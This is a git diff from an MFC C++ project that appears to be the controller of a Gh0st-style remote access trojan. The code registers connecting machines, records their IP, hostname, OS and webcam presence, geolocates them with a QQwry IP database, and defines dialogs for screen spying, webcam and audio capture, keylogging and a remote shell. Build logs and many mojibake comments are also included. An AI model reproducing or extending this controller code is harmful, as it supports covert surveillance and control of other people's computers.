{ + switch (pContext->m_Dialog[0]) + { + case FILEMANAGER_DLG: + ((CFileManagerDlg *)dlg)->OnReceiveComplete(); + break; + case SCREENSPY_DLG: + ((CScreenSpyDlg *)dlg)->OnReceiveComplete(); + break; + case WEBCAM_DLG: + ((CWebCamDlg *)dlg)->OnReceiveComplete(); + break; + case AUDIO_DLG: + ((CAudioDlg *)dlg)->OnReceiveComplete(); + break; + case KEYBOARD_DLG: + ((CKeyBoardDlg *)dlg)->OnReceiveComplete(); + break; + case SYSTEM_DLG: + ((CSystemDlg *)dlg)->OnReceiveComplete(); + break; + case SHELL_DLG: + ((CShellDlg *)dlg)->OnReceiveComplete(); + break; + default: + break; + } + return; + }*/ + + switch (pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) //如果没有赋值就判断是否是上线包和打开功能功能窗口 + { //讲解后回到ClientContext结构体 + /*case TOKEN_AUTH: // 要求验证 + m_iocpServer->Send(pContext, (PBYTE)m_PassWord.GetBuffer(0), m_PassWord.GetLength() + 1); + break; + case TOKEN_HEARTBEAT: // 回复心跳包 + { + BYTE bToken = COMMAND_REPLAY_HEARTBEAT; + m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken)); + } + + break;*/ + case TOKEN_LOGIN: // 上线包 + + { + //这里处理上线 + if (m_iocpServer->m_nMaxConnections <= g_pPCRemoteDlg->m_CList_Online.GetItemCount()) + { + closesocket(pContext->m_Socket); + } + else + { + pContext->m_bIsMainSocket = true; + g_pPCRemoteDlg->PostMessage(WM_ADDTOLIST, 0, (LPARAM)pContext); + } + // 激活 + BYTE bToken = COMMAND_ACTIVED; + m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken)); + } + + break; + /*case TOKEN_DRIVE_LIST: // 驱动器列表 + // 指接调用public函数非模态对话框会失去反应, 不知道怎么回事,太菜 + g_pConnectView->PostMessage(WM_OPENMANAGERDIALOG, 0, (LPARAM)pContext); + break; + case TOKEN_BITMAPINFO: // + // 指接调用public函数非模态对话框会失去反应, 不知道怎么回事 + g_pConnectView->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext); + break; + case TOKEN_WEBCAM_BITMAPINFO: // 摄像头 + g_pConnectView->PostMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)pContext); + break; + case TOKEN_AUDIO_START: // 语音 + g_pConnectView->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)pContext); + break; + case TOKEN_KEYBOARD_START: + g_pConnectView->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)pContext); + break; + case TOKEN_PSLIST: + g_pConnectView->PostMessage(WM_OPENPSLISTDIALOG, 0, (LPARAM)pContext); + break; + case TOKEN_SHELL_START: + g_pConnectView->PostMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)pContext); + break;*/ + // 命令停止当前操作 + default: + closesocket(pContext->m_Socket); + break; + } +} + + +LRESULT CCcRemoteDlg::OnAddToList(WPARAM wParam, LPARAM lParam) +{ + CString strIP, strAddr, strPCName, strOS, strCPU, strVideo, strPing; + + //注意这里的 ClientContext 正是发送数据时从列表里取出的数据 + ClientContext *pContext = (ClientContext *)lParam; + if (pContext == NULL) + return -1; + + CString strToolTipsText; + try + { + //int nCnt = m_pListCtrl->GetItemCount(); + + // 不合法的数据包 + if (pContext->m_DeCompressionBuffer.GetBufferLen() != sizeof(LOGININFO)) + return -1; + + LOGININFO* LoginInfo = (LOGININFO*)pContext->m_DeCompressionBuffer.GetBuffer(); + + // ID + //CString str; + //str.Format("%d", m_nCount++); + + // IP地址 + //int i = m_pListCtrl->InsertItem(nCnt, str, 15); + + // 外网IP + + sockaddr_in sockAddr; + memset(&sockAddr, 0, sizeof(sockAddr)); + int nSockAddrLen = sizeof(sockAddr); + BOOL bResult = getpeername(pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen); + CString IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : ""; + //m_pListCtrl->SetItemText(i, 1, IPAddress); + strIP = IPAddress; + + // 内网IP + //m_pListCtrl->SetItemText(i, 2, inet_ntoa(LoginInfo->IPAddress)); + //strAddr=inet_ntoa(LoginInfo->IPAddress); + // 主机名 + //m_pListCtrl->SetItemText(i, 3, LoginInfo->HostName); + strPCName = LoginInfo->HostName; + // 系统 + + //////////////////////////////////////////////////////////////////////////////////////// + // 显示输出信息 + char *pszOS = NULL; + switch (LoginInfo->OsVerInfoEx.dwPlatformId) + { + + case VER_PLATFORM_WIN32_NT: + if (LoginInfo->OsVerInfoEx.dwMajorVersion <= 4) + pszOS = "NT"; + if (LoginInfo->OsVerInfoEx.dwMajorVersion == 5 && LoginInfo->OsVerInfoEx.dwMinorVersion == 0) + pszOS = "2000"; + if (LoginInfo->OsVerInfoEx.dwMajorVersion == 5 && LoginInfo->OsVerInfoEx.dwMinorVersion == 1) + pszOS = "XP"; + if (LoginInfo->OsVerInfoEx.dwMajorVersion == 5 && LoginInfo->OsVerInfoEx.dwMinorVersion == 2) + pszOS = "2003"; + if (LoginInfo->OsVerInfoEx.dwMajorVersion == 6 && LoginInfo->OsVerInfoEx.dwMinorVersion == 0) + pszOS = "Vista"; // Just Joking + } + strOS.Format + ( + "%s SP%d (Build %d)", + //OsVerInfo.szCSDVersion, + pszOS, + LoginInfo->OsVerInfoEx.wServicePackMajor, + LoginInfo->OsVerInfoEx.dwBuildNumber + ); + //m_pListCtrl->SetItemText(i, 4, strOS); + + // CPU + strCPU.Format("%dMHz", LoginInfo->CPUClockMhz); + //m_pListCtrl->SetItemText(i, 5, str); + + // Speed + strPing.Format("%d", LoginInfo->dwSpeed); + //m_pListCtrl->SetItemText(i, 6, str); + + + strVideo = LoginInfo->bIsWebCam ? "有" : "--"; + //m_pListCtrl->SetItemText(i, 7, str); + + strToolTipsText.Format("New Connection Information:\nHost: %s\nIP : %s\nOS : Windows %s", LoginInfo->HostName, IPAddress, strOS); + + if (((CCcRemoteApp *)AfxGetApp())->m_bIsQQwryExist) + { + + strAddr = m_QQwry->IPtoAdd(IPAddress); + + //strToolTipsText += "\nArea: "; + //strToolTipsText += str; + } + // 指定唯一标识 + //m_pListCtrl->SetItemData(i, (DWORD) pContext); //这里将服务端的套接字等信息加入列表中保存 + AddList(strIP, strAddr, strPCName, strOS, strCPU, strVideo, strPing, pContext); + } + catch (...) {} + + return 0; } \ No newline at end of file diff --git a/CcRemote/CcRemote/CcRemoteDlg.h b/CcRemote/CcRemote/CcRemoteDlg.h index a39a29f..d5a26c0 100644 --- a/CcRemote/CcRemote/CcRemoteDlg.h +++ b/CcRemote/CcRemote/CcRemoteDlg.h @@ -4,6 +4,7 @@ #include "TrueColorToolBar.h" #include "PublicStruct.h" #include "include/IOCPServer.h" +#include "SEU_QQwry.h" #pragma once @@ -43,6 +44,7 @@ public: private: //--------------变量及常量---------------- + SEU_QQwry *m_QQwry; int m_OnlineCount;//上线计数 CBrush m_brush;//绘色函数 CMenu popup;//LIST菜单变量 @@ -79,7 +81,7 @@ private: void InitStatusBar();//初始化状态控件 void InitToolBar();//初始化工具条按钮控件 void InitSystemMenu();//初始化系统托盘菜单 - void AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing); + void AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing, ClientContext*pContext); void ShowMessage(bool bIsOK, CString strMsg);//显示日志 void Test(); @@ -88,10 +90,11 @@ private: static void CALLBACK NotifyProc(LPVOID lpParam, ClientContext* pContext, UINT nCode); void Activate(UINT nPort, UINT nMaxConnections);//监听端口 + static void ProcessReceiveComplete(ClientContext *pContext); public: //-------------自定义消息处理------------- afx_msg void OnIconNotify(WPARAM wParam, LPARAM lParam); - + afx_msg LRESULT OnAddToList(WPARAM wParam, LPARAM lParam); //-------------系统消息处理------------- afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult); @@ -109,5 +112,5 @@ public: afx_msg void OnMainClose(); afx_msg void OnMainBuild(); afx_msg void OnMainAbout(); - afx_msg void OnClose(); + afx_msg void OnClose(); }; diff --git a/CcRemote/CcRemote/PublicStruct.h b/CcRemote/CcRemote/PublicStruct.h index 09352f5..c2ef9bb 100644 --- a/CcRemote/CcRemote/PublicStruct.h +++ b/CcRemote/CcRemote/PublicStruct.h @@ -25,3 +25,44 @@ enum UM_ICONNOTIFY = WM_USER + 0x100, }; +enum +{ + WM_CLIENT_CONNECT = WM_APP + 0x1001, + WM_CLIENT_CLOSE, + WM_CLIENT_NOTIFY, + WM_DATA_IN_MSG, + WM_DATA_OUT_MSG, + + + WM_ADDTOLIST = WM_USER + 102, // ���ӵ��б���ͼ�� + WM_REMOVEFROMLIST, // ���б���ͼ��ɾ�� + WM_OPENMANAGERDIALOG, // ��һ���ļ��������� + WM_OPENSCREENSPYDIALOG, // ��һ����Ļ���Ӵ��� + WM_OPENWEBCAMDIALOG, // ������ͷ���Ӵ��� + WM_OPENAUDIODIALOG, // ��һ�������������� + WM_OPENKEYBOARDDIALOG, // ���̼�¼���� + WM_OPENPSLISTDIALOG, // ���̹������� + WM_OPENSHELLDIALOG, // ��shell���� + WM_RESETPORT, // �ı�˿� + ////////////////////////////////////////////////////////////////////////// + FILEMANAGER_DLG = 1, + SCREENSPY_DLG, + WEBCAM_DLG, + AUDIO_DLG, + KEYBOARD_DLG, + SYSTEM_DLG, + SHELL_DLG +}; + + +typedef struct +{ + BYTE bToken; // = 1 + OSVERSIONINFOEX OsVerInfoEx; // �汾��Ϣ + int CPUClockMhz; // CPU��Ƶ + IN_ADDR IPAddress; // �洢32λ��IPv4�ĵ�ַ���ݽṹ + char HostName[50]; // ������ + bool bIsWebCam; // �Ƿ�������ͷ + DWORD dwSpeed; // ���� +}LOGININFO; + diff --git a/CcRemote/CcRemote/Release/CcRemote.Build.CppClean.log b/CcRemote/CcRemote/Release/CcRemote.Build.CppClean.log index e6915e7..9160259 100644 --- a/CcRemote/CcRemote/Release/CcRemote.Build.CppClean.log +++ b/CcRemote/CcRemote/Release/CcRemote.Build.CppClean.log @@ -1,21 +1,12 @@ -g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.pch -g:\ccremote\ccremote\ccremote\ccremote\release\vc141.pdb -g:\ccremote\ccremote\ccremote\ccremote\release\pch.obj -g:\ccremote\ccremote\ccremote\ccremote\release\truecolortoolbar.obj -g:\ccremote\ccremote\ccremote\ccremote\release\inifile.obj -g:\ccremote\ccremote\ccremote\ccremote\release\cpuusage.obj -g:\ccremote\ccremote\ccremote\ccremote\release\csettingdlg.obj -g:\ccremote\ccremote\ccremote\ccremote\release\ccremotedlg.obj -g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.obj -g:\ccremote\ccremote\ccremote\ccremote\release\iocpserver.obj -g:\ccremote\ccremote\ccremote\ccremote\release\buffer.obj -g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.res -g:\ccremote\ccremote\ccremote\release\ccremote.exe -g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.command.1.tlog -g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.read.1.tlog -g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.write.1.tlog -g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\link.command.1.tlog -g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\link.read.1.tlog -g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.command.1.tlog -g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.read.1.tlog -g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.write.1.tlog +f:\myapp\ccremote\ccremote\ccremote\release\ccremote.pch +f:\myapp\ccremote\ccremote\ccremote\release\vc141.pdb +f:\myapp\ccremote\ccremote\ccremote\release\pch.obj +f:\myapp\ccremote\ccremote\ccremote\release\truecolortoolbar.obj +f:\myapp\ccremote\ccremote\ccremote\release\inifile.obj +f:\myapp\ccremote\ccremote\ccremote\release\cpuusage.obj +f:\myapp\ccremote\ccremote\ccremote\release\csettingdlg.obj +f:\myapp\ccremote\ccremote\ccremote\release\ccremotedlg.obj +f:\myapp\ccremote\ccremote\ccremote\release\ccremote.obj +f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.command.1.tlog +f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.read.1.tlog +f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.write.1.tlog diff --git a/CcRemote/CcRemote/Release/CcRemote.log b/CcRemote/CcRemote/Release/CcRemote.log index 158b9af..0a02200 100644 --- a/CcRemote/CcRemote/Release/CcRemote.log +++ b/CcRemote/CcRemote/Release/CcRemote.log @@ -1,27 +1,32 @@ - pch.cpp +C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。 + pch.cpp CcRemote.cpp CcRemoteDlg.cpp -g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(148): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 -g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(153): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 -g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(294): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据 -g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(311): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据 +f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(157): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 +f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(162): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 +f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(303): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据 +f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(320): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据 +f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(783): warning C4018: “<=”: 有符号/无符号不匹配 +f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(862): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 CSettingDlg.cpp CpuUsage.cpp IniFile.cpp -g:\ccremote\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 +f:\myapp\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 + SEU_QQwry.cpp TrueColorToolBar.cpp Buffer.cpp IOCPServer.cpp -g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(134): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明 -g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(719): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings - g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 -g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(768): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据 -g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(914): warning C4018: “>=”: 有符号/无符号不匹配 +f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(134): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明 +f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(719): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 +f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(768): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据 +f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(914): warning C4018: “>=”: 有符号/无符号不匹配 正在生成代码 - All 405 functions were compiled because no usable IPDB/IOBJ from previous compilation was found. + All 436 functions were compiled because no usable IPDB/IOBJ from previous compilation was found. 已完成代码的生成 - CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\Release\CcRemote.exe + CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe diff --git a/CcRemote/CcRemote/Release/CcRemote.tlog/CcRemote.lastbuildstate b/CcRemote/CcRemote/Release/CcRemote.tlog/CcRemote.lastbuildstate index cb3e57d..346638a 100644 --- a/CcRemote/CcRemote/Release/CcRemote.tlog/CcRemote.lastbuildstate +++ b/CcRemote/CcRemote/Release/CcRemote.tlog/CcRemote.lastbuildstate @@ -1,2 +1,2 @@ #TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0 -Release|Win32|G:\CcRemote\CcRemote\CcRemote\| +Release|Win32|F:\myapp\CcRemote\CcRemote\| diff --git a/CcRemote/CcRemote/SEU_QQwry.cpp b/CcRemote/CcRemote/SEU_QQwry.cpp new file mode 100644 index 0000000..b6a8ff4 --- /dev/null +++ b/CcRemote/CcRemote/SEU_QQwry.cpp @@ -0,0 +1,436 @@ +/********************************************************************* +* SEU_QQwry.cpp +* +* �����ռ����� +* +* ˵��:����IP���ݿ� QQWry.dat�IJ����� +* +* ���ִ�����Դ������,���������ʹ��,��������.���Dz���������ҵ��; +*********************************************************************/ + +#include "pch.h" +#include "SEU_QQwry.h" + +#ifdef _DEBUG +#undef THIS_FILE +static char THIS_FILE[]=__FILE__; +#define new DEBUG_NEW +#endif + +////////////////////////////////////////////////////////////////////// +// Construction/Destruction +////////////////////////////////////////////////////////////////////// +SEU_QQwry::SEU_QQwry() +{ +} + +SEU_QQwry::~SEU_QQwry() +{ + CloseQQwry(); +} + +/********************************************************************* +* OpenQQwry(CString szFileName) +* +* ������IP���ݿ��ļ��ĺ������� +* +* ˵��:һ���QQWry.dat�ļ� +*********************************************************************/ +bool SEU_QQwry::OpenQQwry(CString szFileName) +{ + if(!m_file.Open(szFileName,CFile::modeRead|CFile::typeBinary|CFile::shareDenyNone)) + return false; + else + return true; +} + +void SEU_QQwry::CloseQQwry() +{ + if(m_bOpen)m_file.Close(); +} + +bool SEU_QQwry::GetBE() +{ + if(!m_bOpen)return false; + m_file.Seek(0,CFile::begin); + if(m_file.Read(&m_be,sizeof(BE))>0) + return true; + else + return false; +} + +/********************************************************************* +* GetStartIPInfo(int iIndex) +* +* ��������IP�������õ��ö�IP������IP�ε���ʼIP +* +* ˵��: +*********************************************************************/ +int SEU_QQwry::GetStartIPInfo(int iIndex) +{ + BYTE buf[MAXBUF]; + int ioff; + if(!m_bOpen) return 0; + ioff=m_be.uBOff+iIndex*7; + if(ioff>m_be.uEOff) return 0; + m_file.Seek(m_be.uBOff+iIndex*7,CFile::begin); + m_file.Read(&m_ipoff,sizeof(IPOFF)); + ioff=(m_ipoff.off1+m_ipoff.off2*256+m_ipoff.off3*256*256); + m_file.Seek(ioff,CFile::begin); + m_file.Read(&m_ei,sizeof(EndInfo)); + + if(m_ei.buf[0]!=1 && m_ei.buf[0]!=2) + { + m_ei.bMode=1;//û���� + for(int i=0;i<MAXBUF;i++) + { + if(m_ei.buf[i]==0) + { + if(m_ei.buf[i+1]==2) + { + m_ei.bMode=2;//Local �� + m_ei.offset1=m_ei.buf[i+2]+ + m_ei.buf[i+3]*256+ + m_ei.buf[i+4]*256*256; + } + break; + } + } + } + else if(m_ei.buf[0]==2) + { + m_ei.bMode=3;//Country �� local���� + m_ei.offset1=m_ei.buf[1]+m_ei.buf[2]*256+m_ei.buf[3]*256*256; + if(m_ei.buf[4]!=2) + { + m_ei.bMode=3; + } + else + { + m_ei.bMode=4;//Country�� local�� + m_ei.offset2=m_ei.buf[5]+m_ei.buf[6]*256+m_ei.buf[7]*256*256; + } + } + else if(m_ei.buf[0]==1) + { + m_ei.offset1=m_ei.buf[1]+m_ei.buf[2]*256+m_ei.buf[3]*256*256; + m_file.Seek(m_ei.offset1,CFile::begin); + m_file.Read(buf,MAXBUF); + memcpy(m_ei.buf,buf,MAXBUF); + m_ei.bMode=0; + if(m_ei.buf[0]!=2) + { + for(int i=0;i<MAXBUF;i++) + { + if(m_ei.buf[i]==0) + { + if(m_ei.buf[i+1]!=2) + { + m_ei.bMode=5;//1 û���� + } + else + { + m_ei.bMode=6;//1 Country���� Local �� + m_ei.offset2=m_ei.buf[i+2]+ + m_ei.buf[i+3]*256+ + m_ei.buf[i+4]*256*256; + } + break; + } + } + } + else + { + + if(m_ei.buf[4]!=2) + { + m_ei.bMode=7;// 1 Country�� Local���� + m_ei.offset2=m_ei.buf[1]+ + m_ei.buf[2]*256+ + m_ei.buf[3]*256*256; + + } + else + { + m_ei.bMode=8;// 1 Country�� Local�� + m_ei.offset1=m_ei.buf[1]+ + m_ei.buf[2]*256+ + m_ei.buf[3]*256*256; + m_ei.offset2=m_ei.buf[5]+ + m_ei.buf[6]*256+ + m_ei.buf[7]*256*256; + } + } + } + return ioff; +} + +int SEU_QQwry::GetRecordCount(void)//�õ��ܵ�IP��¼�� +{ + if(!m_bOpen) return 0; + if((m_be.uEOff-m_be.uBOff)<0) return 0; + return (m_be.uEOff-m_be.uBOff)/7+1; +} + +CString SEU_QQwry::GetStr(int ioffset)//����λ�ö���Ϣ +{ + if(ioffset>m_be.uEOff) return ""; + BYTE ch; + CString buf=""; + m_file.Seek(ioffset,CFile::begin); + int i=0; + while(1) + { + m_file.Read(&ch,1); + if(ch==0) + break; + buf+=ch; + i++; + if(i>50)break; + } + return buf; +} + + +/********************************************************************* +* GetCountryLocal(int index) +* +* ���������õ���ַ +* +* ˵��: +*********************************************************************/ +CString SEU_QQwry::GetCountryLocal(int index) +{ + if(index<0 || index>GetRecordCount()-1) + return "û�в鵽�����Ϣ"; + return GetCountryLocal(m_ei.bMode,GetStartIPInfo(index)+4); +} + +CString SEU_QQwry::GetCountryLocal(BYTE bMode,int ioffset) +{ + CString buf=""; + if(bMode==1)//X û���� + { + buf=GetStr(ioffset); + buf+=" "; + buf+=GetStr(); + } + if(bMode==2)//X Country���� Local �� + { + buf=GetStr(ioffset); + buf+=" "; + buf+=GetStr(m_ei.offset1); + } + if(bMode==3)//2 Country�� local���� + { + buf=GetStr(m_ei.offset1); + buf+=" "; + buf+=GetStr(ioffset+4); + } + + if(bMode==4)//2 Country�� local�� + { + buf=GetStr(m_ei.offset1); + buf+=" "; + buf+=GetStr(m_ei.offset2); + } + + if(bMode==5)//1 û���� + { + buf=GetStr(m_ei.offset1); + buf+=" "; + buf+=GetStr(); + } + + if(bMode==6)//1 Country���� Local �� + { + buf=GetStr(m_ei.offset1); + buf+=" "; + buf+=GetStr(m_ei.offset2); + } + if(bMode==7)//1 Country�� Local ���� + { + buf=GetStr(m_ei.offset2); + buf+=" "; + buf+=GetStr(m_ei.offset1+4); + } + if(bMode==8)//1 Country�� Local�� + { + buf=GetStr(m_ei.offset1); + buf+=" "; + buf+=GetStr(m_ei.offset2); + } + return buf; +} + +CString SEU_QQwry::GetStr() +{ + BYTE ch; + CString buf=""; + int i=0; + while(1) + { + m_file.Read(&ch,1); + if(ch==0) + break; + buf+=ch; + i++; + if(i>50)break; + } + return buf; +} + +/********************************************************************* +* SaveToFile() +* +* ����������Ϣ���ļ� +* +* ˵��: +*********************************************************************/ +void SEU_QQwry::SaveToFile(CString Name) +{ + CString str1,str2; + DWORD dwBytesWrite; + HANDLE hFile = INVALID_HANDLE_VALUE; + hFile = CreateFile(Name+".txt", GENERIC_WRITE, FILE_SHARE_WRITE, NULL, + CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile == INVALID_HANDLE_VALUE) + return; + int ioff; + m_buf.Format("Total %d\r\n",GetRecordCount());//�õ��ܼ�¼ + WriteFile(hFile, m_buf.GetBuffer(0), m_buf.GetLength(), &dwBytesWrite, NULL); + + for(m_i=0;m_i<GetRecordCount();m_i++) + { + ioff=GetStartIPInfo(m_i);//�õ���ʼ��IP��Ϣ + str1.Format("%d.%d.%d.%d",m_ipoff.b3,m_ipoff.b2,m_ipoff.b1,m_ipoff.b0);//��ʼIP + str2.Format("%d.%d.%d.%d",m_ei.b3,m_ei.b2,m_ei.b1,m_ei.b0);//����IP + m_buf.Format("%-15s %-15s %s\r\n", + str1,str2,GetCountryLocal(m_ei.bMode,ioff+4)); + WriteFile(hFile, m_buf.GetBuffer(0), m_buf.GetLength(), &dwBytesWrite, NULL); + } + CloseHandle(hFile); +} + + +/********************************************************************* +* IPtoAdd(CString szIP) +* +* ����IP�ҵ���ַ +* +* ˵��: +*********************************************************************/ +CString SEU_QQwry::IPtoAdd(CString szIP) +{ + if(szIP=="")return "������IP��ַ"; + return GetCountryLocal(GetIndex(szIP)); +} + + +/********************************************************************* +* GetIndex(CString szIP) +* +* ����IP�ҵ����� +* +* ˵��: +*********************************************************************/ +int SEU_QQwry::GetIndex(CString szIP) +{ + int index=-1; + DWORD dwInputIP; + DWORD dwStartIP; + dwInputIP=IPtoDWORD(szIP); + //���ð��������ٶȿ�һЩ + int iT; + int iB,iE; + iB=0; + iE=GetRecordCount()-1; + iT=iE/2; + + while(iB<iE) + { + dwStartIP=GetSIP(iT); + if(dwInputIP==dwStartIP) + { + index =iT; + break; + } + if((iE-iB)<=1) + { + for(int i=iB;i<=iE;i++) + { + dwStartIP=GetSIP(i); + if(dwStartIP<=dwInputIP && dwInputIP<=m_dwLastIP) + { + index=i; + break; + } + } + break; + } + + if(dwInputIP>dwStartIP) + { + iB=iT; + } + else + { + iE=iT; + } + iT=iB+(iE-iB)/2; + } + return index; +} +//���������õ�DWORD���͵�IP,GetIndex(CString szIP)�������õ� +DWORD SEU_QQwry::GetSIP(int index) +{ + DWORD ip; + BYTE b[3]; + int ioff; + if(!m_bOpen)return -1; + if(index>GetRecordCount()-1)return -1; + if(index<0)return -1; + ioff=m_be.uBOff+index*7; + m_file.Seek(ioff,CFile::begin); + m_file.Read(&ip,4); + m_file.Read(b,3); + ioff=b[0]+b[1]*256+b[2]*256*256; + m_file.Seek(ioff,CFile::begin); + m_file.Read(&m_dwLastIP,4); + return ip; +} +//תCStringΪDWORD,GetIndex(CString szIP)�������õ� +DWORD SEU_QQwry::IPtoDWORD(CString szIP) +{ + DWORD iIP; + BYTE b[4]; + CString szTemp; + char ch; + int iLen; + int iXB; + szIP+="."; + memset(b,0,4); + iLen=szIP.GetLength(); + iXB=0; + iIP=0; + for(int i=0;i<iLen;i++) + { + ch=szIP.GetAt(i); + szTemp+=ch; + if(ch=='.') + { + b[iXB]=atoi(szTemp); + szTemp=""; + iXB++; + } + } + iIP=b[0]*256*256*256+b[1]*256*256+b[2]*256+b[3]; + return iIP; +} +/*************************************************************/ + +void SEU_QQwry::SetPath(CString path) +{ + m_bOpen=OpenQQwry(path); + GetBE(); +} diff --git a/CcRemote/CcRemote/SEU_QQwry.h b/CcRemote/CcRemote/SEU_QQwry.h new file mode 100644 index 0000000..e3a0ee8 --- /dev/null +++ b/CcRemote/CcRemote/SEU_QQwry.h @@ -0,0 +1,82 @@ +/********************************************************************* +* SEU_QQwry.h +* +* �����ռ����� +* +* ˵��:����IP���ݿ� QQWry.dat�IJ����� +* +* ���ִ�����Դ������,���������ʹ��,��������.���Dz���������ҵ��; +*********************************************************************/ +#include "pch.h" +#if !defined(AFX_SEU_QQWRY_H) +#define AFX_SEU_QQWRY_H + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 + +#define MAXBUF 50 + +typedef struct _tagEndInfo +{ + BYTE b0; + BYTE b1; + BYTE b2; + BYTE b3; 